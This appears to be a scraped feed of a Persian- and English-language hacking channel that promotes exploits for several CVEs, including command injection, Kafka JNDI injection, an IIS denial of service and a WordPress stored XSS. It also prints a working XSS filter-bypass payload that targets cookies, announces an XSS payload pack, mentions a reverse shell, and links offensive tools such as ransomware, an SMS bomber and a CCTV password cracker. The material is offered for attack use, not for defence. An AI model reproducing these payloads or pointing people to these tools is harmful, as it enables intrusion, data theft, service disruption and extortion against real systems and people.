2 285
Suscriptores
Sin datos24 horas
-47 días
-930 días
Archivo de publicaciones
2 285
وقتی که از شما خواسته شد،آدرس ای پی و پورت دستگاه را با فرمت:
10.10.10.10:82 وارد کنید اسکریپت دستور را اجرا می کند و وضعیت آسیب پذیری را نمایش می دهد
اگر ای پی آسیب پذیر باشد، خروجی را نشان می دهد. خروجی کامل در فایلی با نام full-output.txt در همان دایرکتوری ذخیره می شود
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability2 285
Exploit for🧪 : command injection vulnerability
Developer language🌐 : Python
For version♻️ : 6.0
Date of Release🛠 : 25/6/2023
CVE-ID🔔 : 2023-23333
Explanations about the exploit🪄 :
+ - - - - - - - - - - - - - - - - +
This script checks if an IP address is vulnerable to CVE-2023-23333. It utilizes the curl command to execute a specific command on the target device and capture the output. If the IP address is vulnerable, it displays the output and saves the full output to a file.
+ - - - - - - - - - - - - - - - - +
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
2 285
XSS WAF Bypass using location
Bypass :
"><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">
#Bypass | #XSS
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability2 285
آسیب پذیری تزریق JNDI در Druid.
این آسیبپذیری بهطور خاص بر رابط Indexer/v1/Sampler Druid تأثیر میگذارد و مهاجم را قادر میسازد تا دستورات دلخواه را روی سرور مورد نظر اجرا کند.
برای استفاده و فرآیند بهره برداری، این ماژول یک سرور LDAP را راه اندازی می کند که سرور مورد نظر برای انجام حمله باید به آن متصل شود
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
2 285
Exploit for🧪 : Apache
Developer language🌐 : Ruby [module]
For version♻️ : 2.3.0-3.3.2
Date of Release🛠 : 25/6/2023
CVE-ID🔔 : 2023-25194
Explanations about the exploit🪄 :
+ - - - - - - - - - - - - - - - - +
The vulnerability is found in Apache Kafka clients versions ranging from
2.3.0 to 3.3.2. If an attacker can manipulate the sasl.jaas.config
property of any of the connector's Kafka clients to com.sun.security.auth.module.JndiLoginModule,
it allows the server to establish a connection with the attacker's LDAP server
and deserialize the LDAP response. This provides the attacker with the capability
to execute java deserialization gadget chains on the Kafka connect server,
potentially leading to unrestricted deserialization of untrusted data or even
remote code execution (RCE) if there are relevant gadgets in the classpath.
+ - - - - - - - - - - - - - - - - +
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
2 285
Special payloads for XSS bug attacks !🔥
Number : 100🍌
Level : medium 🟡
#Payload | #XSS
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
2 285
Exploit for🧪 : Server site (DDOS)
Developer language🌐 : Ruby
For version♻️ : 3
Date of Release🛠 : 17/3/2021
CVE-ID🔔 : 2021-31166
Explanations about the exploit🪄 :
+ - - - - - - - - - - - - - - - - +
An exploit to test the vulnerability of an IIS web server to take down the server (DDOS)
+ - - - - - - - - - - - - - - - - +
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
2 285
Exploit for🧪 : plugin Wordpress
Developer language🌐 : PHP
For version♻️ : 1.0.0
Date of Release🛠 : 23/06/2023
CVE-ID🔔 : 2023-3387
Explanations about the exploit🪄 :
+ - - - - - - - - - - - - - - - - +
The Lana Text to Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'lana_text_to_image' and 'lana_text_to_img' shortcode in versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
+ - - - - - - - - - - - - - - - - +
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
2 285
Maybe I didn't need a special format :
find /path/to/directory -type f -exec rm -f {} +2 285
//Cleaner files inside a folder |Go | go run name.go
package main
import ("fmt";"os";"path/filepath")
func main() {//Enter the path to a directory
fmt.Println(filepath.Walk("/path/to/directory", func(path string, info os.FileInfo, err error) error {
if err == nil && !info.IsDir() && (filepath.Ext(path) == ".txt" || filepath.Ext(path) == ".jpg") && os.Remove(path) == nil {
fmt.Printf("")
}
return err
}))
}
+ - - - - - - VS - - - - - - +
#Cleaner files inside a folder |Bash | Just paste it into the terminal 🫡
find /path/to/directory -type f -name "*.txt" -o -name "*.jpg" -delete
#trick2 285
Reverse shell [The description is in the file] => client/server
Password =>
@EsfeLurM2 285
[+] Cracker blogfa - cracker hash - reporter blogfa - find panel admin & subdomain - Bypass xss/sqli - Reporter Aparat = [https://github.com/esfelurm/spider-web]
[+] Encode & Decode = [https://github.com/esfelurm/hashing]
[+] Sms Bomber = [https://github.com/esfelurm/sms_bomber]
[+] Scanner Port = [https://github.com/esfelurm/scanner-port]
[+] Exploit Find the user password of the CCTV camera connected to the Internet = [https://github.com/esfelurm/EsFeLuRm/blob/main/EX-CT.py]
[+] Hide information in music and photos = [https://github.com/esfelurm/EsFeLuRm/blob/main/EsFeLuRm.py]
[+] ChatGpt = [https://github.com/esfelurm/EsFeLuRm/blob/main/gpt.py]
[+] Ransomware (windows-linux) + Deface monitor = [https://github.com/esfelurm/EsFeLuRm/blob/main/ransomware.py]
[+] Ransomware (Android) = [https://github.com/esfelurm/android-ransomware]
[+] Cracker Wikipedia = [https://github.com/esfelurm/crack-wikipedia]
[+] Spider Black (Full option Hunter) = [https://github.com/esfelurm/Spider-Black]
#Tools
┌<(channel>>>>)-[~]>
└< (main)* >─» @Expl0it_Vulnerability
